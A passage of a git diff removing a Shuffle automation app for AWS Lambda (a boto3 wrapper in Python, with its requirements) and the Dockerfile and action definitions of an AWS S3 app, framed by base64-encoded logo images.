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 \ No newline at end of file diff --git a/aws-lambda/1.0.0/requirements.txt b/aws-lambda/1.0.0/requirements.txt deleted file mode 100644 index f9c46b04..00000000 --- a/aws-lambda/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.16.59 -requests==2.25.1 diff --git a/aws-lambda/1.0.0/src/app.py b/aws-lambda/1.0.0/src/app.py deleted file mode 100644 index 8395aa11..00000000 --- a/aws-lambda/1.0.0/src/app.py +++ /dev/null @@ -1,102 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSLambda(AppBase): - __version__ = "1.0.0" - app_name = "AWS Lambda" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_lambda(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = "v4", - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - return boto3.client( - 'lambda', - config=my_config, - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - ) - - - def list_functions(self, access_key, secret_key, region): - client = self.auth_lambda(access_key, secret_key, region) - try: - return client.list_functions() - except Exception as e: - return f"Error: {e}" - - def get_function(self, access_key, secret_key, region, function_name, qualifier): - client = self.auth_lambda(access_key, secret_key, region) - try: - kwargs = {'FunctionName':function_name} - if qualifier: - kwargs.update({'Qualifier':qualifier}) - return client.get_function(**kwargs) - except Exception as e: - return f"Error: {e}" - - def list_aliases(self, access_key, secret_key, region, function_name, function_version): - client = self.auth_lambda(access_key, secret_key, region) - try: - kwargs = {'FunctionName':function_name} - if function_version: - kwargs.update({'FunctionVersion':function_version}) - return client.list_aliases(**kwargs) - except Exception as e: - return f"Error: {e}" - - def invoke(self, access_key, secret_key, region, function_name, invocation_type, logtype): - client = self.auth_lambda(access_key, secret_key, region) - kwargs = { - 'FunctionName':function_name, - 'InvocationType': invocation_type, - 'LogType': logtype - } - try: - response = client.invoke(**kwargs) - response['Payload'] = response['Payload'].read().decode("utf-8") - return response - except Exception as e: - return f"Error: {e}" - - def get_account_settings(self, access_key, secret_key, region): - client = self.auth_lambda(access_key, secret_key, region) - try: - return client.get_account_settings() - except Exception as e: - return f"Error: {e}" - - def delete_function(self, access_key, secret_key, region, function_name, qualifier): - client = self.auth_lambda(access_key, secret_key, region) - kwargs = {'FunctionName': function_name} - try: - if qualifier: - kwargs.update({'Qualifier':qualifier}) - return client.delete_function(**kwargs) - except Exception as e: - return f"Error: {e}" - -if __name__ == "__main__": - AWSLambda.run() diff --git a/aws-s3/1.0.0/Dockerfile b/aws-s3/1.0.0/Dockerfile deleted file mode 100644 index ff7bd7a0..00000000 --- a/aws-s3/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG \ No newline at end of file diff --git a/aws-s3/1.0.0/api.yaml b/aws-s3/1.0.0/api.yaml deleted file mode 100644 index a65de9c9..00000000 --- a/aws-s3/1.0.0/api.yaml +++ /dev/null @@ -1,203 +0,0 @@ -app_version: 1.0.0 -name: AWS S3 -description: An app to interact with Amazon S3 -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - Storage - - Assets -categories: - - Storage - - Assets -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: create_bucket - description: Creates a bucket with the specified name - parameters: - - name: bucket_name - description: The bucket name to use - required: true - multiline: false - example: 'my-test-bucket-name' - schema: - type: string - - name: access_type - description: The ACL id to edit - required: true - multiline: false - example: 'private' - options: - - private - - public - schema: - type: string - returns: - schema: - type: string - - name: block_ip_access - description: Blocks access from a specific IP to a bucket - parameters: - - name: bucket_name - description: The bucket name to use - required: true - multiline: false - example: 'my-test-bucket-name' - schema: - type: string - - name: ip - description: The IP to block - required: true - multiline: false - example: '1.2.3.5' - schema: - type: string - returns: - schema: - type: string - - name: upload_file_to_bucket - description: Uploads a file to a bucket - parameters: - - name: bucket_name - description: The bucket to add the file to - required: true - multiline: false - example: 'my bucket name' - schema: - type: string - - name: bucket_path - description: The bucket path to upload to - required: true - multiline: false - example: 'filename.txt' - schema: - type: string - - name: file_id - description: The file ID to upload - required: true - multiline: false - example: 'filename.txt' - schema: - type: string - returns: - schema: - type: string - - name: delete_file_from_bucket - description: Deletes a file from a bucket - parameters: - - name: bucket_name - description: The bucket to get - required: true - multiline: false - example: 'my bucket name' - schema: - type: string - - name: bucket_path - description: The file to get - required: true - multiline: false - example: '/path/filename.txt' - schema: - type: string - returns: - schema: - type: string - - name: download_file_from_bucket - description: Downloads a file from s3 and adds it to Shuffle - parameters: - - name: bucket_name - description: The bucket to get - required: true - multiline: false - example: 'my bucket name' - schema: - type: string - - name: filename - description: The file to get - required: true - multiline: false - example: 'filename.txt' - schema: - type: string - returns: - schema: - type: string - - name: list_buckets - description: Lists all buckets - returns: - schema: - type: string - - name: bucket_request_payment - description: Get payment request configuration of a bucket. - parameters: - - name: bucket_name - description: The bucket name to use - required: true - multiline: false - example: 'my-test-bucket-name' - schema: - type: string - returns: - schema: - type: string - - name: bucket_replication - description: Get replication configuration of a bucket. - parameters: - - name: bucket_name - description: The bucket name to use - required: true - multiline: false - example: 'my-test-bucket-name' - schema: - type: string - returns: - schema: - type: string - - name: bucket_policy_status - description: Get policy status of the bucket - parameters: - - name: bucket_name - description: The bucket name to use - required: true - multiline: false - example: 'my-test-bucket-name' - schema: - type: string - returns: - schema: - type: string - - name: bucket_logging - description: Get logging status of a bucket and the permissions users have to view and modify that status. - parameters: - - name: bucket_name - description: The bucket name to use - required: true - multiline: false - example: 'my-test-bucket-name' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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